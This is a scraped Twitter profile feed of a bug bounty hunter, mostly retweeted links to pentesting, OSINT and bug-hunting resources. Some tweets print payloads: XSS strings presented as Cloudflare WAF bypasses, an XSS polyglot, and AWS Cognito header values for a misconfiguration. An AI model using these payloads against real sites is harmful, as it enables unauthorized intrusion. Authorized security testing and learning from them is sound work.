w3bf41con @w3bf41con

Just a Noob Pentester $$Bug bounty Hunter $CTF player Joined May 2020

Tweets

117
Followers

80
Following

78
Likes

216

Abhisar Pandey (MrGrep) @imabhisarpandey

3 years ago

Application Security Interview Preparation questions. Credit - Internet github.com/tadwhitaker/Se… gist.github.com/boodera/f216ac… github.com/justinltodd/se… github.com/jigerjain/Inte… github.com/pbnj/infosec-i… github.com/pbnj/infosec-i… github.com/paulveillard/c…

28 313 915 0 659

Emad Shanab - أبو عبد الله @Alra3ees

3 years ago

Mobile Pentesting Resources gist.github.com/OTaKuHP/c0a8d8…

20 209 465 0 181

Download Image

Pethuraj M @Pethuraj

3 years ago

GooFuzz - A tool to perform fuzzing with an #OSINT approach, managing to enumerate directories, files, subdomains, or parameters without leaving evidence on the target's server and by means of advanced Google searches (Google Dorking) » github.com/m3n0sd0n4ld/Go… #cybersecurity

36 488 2K 0 672

Download Image

jnwck @insecrez

3 years ago

API Security Checklist for Bug-Bounty Hunting (Part-1) :- -> github.com/shieldfy/API-S… -> github.com/smodnix/31-day… -> apiopscycles.com/api-audit-chec… -> github.com/HolyBugx/HolyT… #CyberSecurity #CyberSecuritytips #bugbountytips #bugbounty #penetrationtesting #ethicalhacking #bugbountylife

27 219 563 0 308

JS0N Haddix @Jhaddix

3 years ago

Bypass Url Parser by @TheLaluka Checking the source, I can confirm many of these methods have worked for me in the past. Including a string of auth bypasses for $30k on a bounty platform. Excited to test tool instead of doing it all manually 🤩 github.com/laluka/bypass-…

26 223 744 0 350

Emad Shanab - أبو عبد الله @Alra3ees

3 years ago

Bug Bounty Tips:- Part 1:-

20 246 810 0 365

Download Image

Emad Shanab - أبو عبد الله @Alra3ees

3 years ago

Payload Arsenal for Pentration Tester and Bug Bounty Hunters github.com/sh377c0d3/Payl…

11 154 419 0 145

Download Image

Aditya sharma 🇮🇳 @Assass1nmarcos

3 years ago

Some Cloudflare's latest XSS Bypass: XSS"><body %00 onControl hello onmouseleave=confirm(domain) x>XSS XSS"><html><select %00 onControl onpointerenter=prompt(domain) hello> XSS"><input %00 onControl hello oninput=confirm(domain) x> #bugbounty #xss #bugbountytips

5 163 431 0 125

Anugrah SR 📌| #HackLearnDaily @cyph3r_asr

3 years ago

My tweets are filled with web3 🚀 If anyone learning smart contact and web3 security drop your resources below🙏 Here are some amazing resources I found to learn Solidity 👇

30 69 146 0 97

Noureldin Ehab🥑 @Nouureldin_Ehab

3 years ago

"Your Full Map to Github Recon and Leaks Exposure" by @GodfatherOrwa orwaatyat.medium.com/your-full-map-… #CyberSecuritytips #CyberSecurity #BugBountytips #BugBounty

4 50 118 0 43

Het Mehta @hetmehtaa

3 years ago

Collection of 4000+ OSINT resources: 🔗 metaosint.github.io/table/ #OSINT #redteam #Pentesting #bugbounty #infosec #cybersecurity #thesecureedge #technology #dfir

12 179 439 0 174

Download Image

Leo Rac @leo__rac

3 years ago

Found out a HTMLi in a PDF, reported. Shared with some BB friends, who pointed out that I could try to reach SSRF. Done some research and I've found this: book.hacktricks.xyz/pentesting-web… No SSRF worked, but LFI did! @intigriti promptly increased impact and payout 😎🥳 #bugbountytips

8 88 326 0 82

Download Image

Harsh Bothra @harshbothra_

3 years ago

15 Security Standards You Must Know & Follow 🧵

44 383 1K 0 593

Shreyas R Gujar 🇮🇳 @shreyasrx

3 years ago

AWS Cognito Misconfiguration X-AMZ-Target: AWSCognitoIdentityProviderService.ConfirmSignUp X-AMZ-Target: AWSCognitoIdentityProviderService.GetUser 1/3 #aws #awssecurity #cloudsecurity #cybersecurity #bugbountytips #bugbounty #hacking

21 207 578 0 228

Download Image

H4x0r.DZ @h4x0r_dz

3 years ago

Search for all leaked keys/secrets using one regex! regex: gist.github.com/h4x0r-dz/be69c… #BugBounty #BugBountytip

96 767 2K 0 1K

Download Image

JS0N Haddix @Jhaddix

3 years ago

== Trademark and Copyright Recon == How to find assets no other bug hunters have found. One of my simple "secrets" for years. Little automation exists for it. 💸💸💸 a thread🧵 🚨follow, retweet, & like for more hacker tips!🚨 1/x

47 280 934 0 516

Red Sentry @redsentry_tech

3 years ago

🚨XSS Polyglots🚨 Test multiple XSS scenarios with ONE payload. jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3e #BugBounty #BugBountytips #XSS

10 79 245 0 90

Download Image

Corben Leo @hacker_

3 years ago

3/ Resources: • youtube.com/watch?v=M576WG… • solidity-by-example.org • blog.sigmaprime.io/solidity-secur… • swcregistry.io • consensys.github.io/smart-contract… • github.com/0xsanny/solsec

12 27 172 0 74

JS0N Haddix @Jhaddix

3 years ago

= Infosec super-thread = A big part of my presos is tools/resources I like for offensive security & bug hunting. Here's a thread of "PRINT" resources cited in the Bug Hunter's Methodology Application Analysis v1 docs.google.com/presentation/d… a 🧵 #bugbountytips #Pentesting 1/x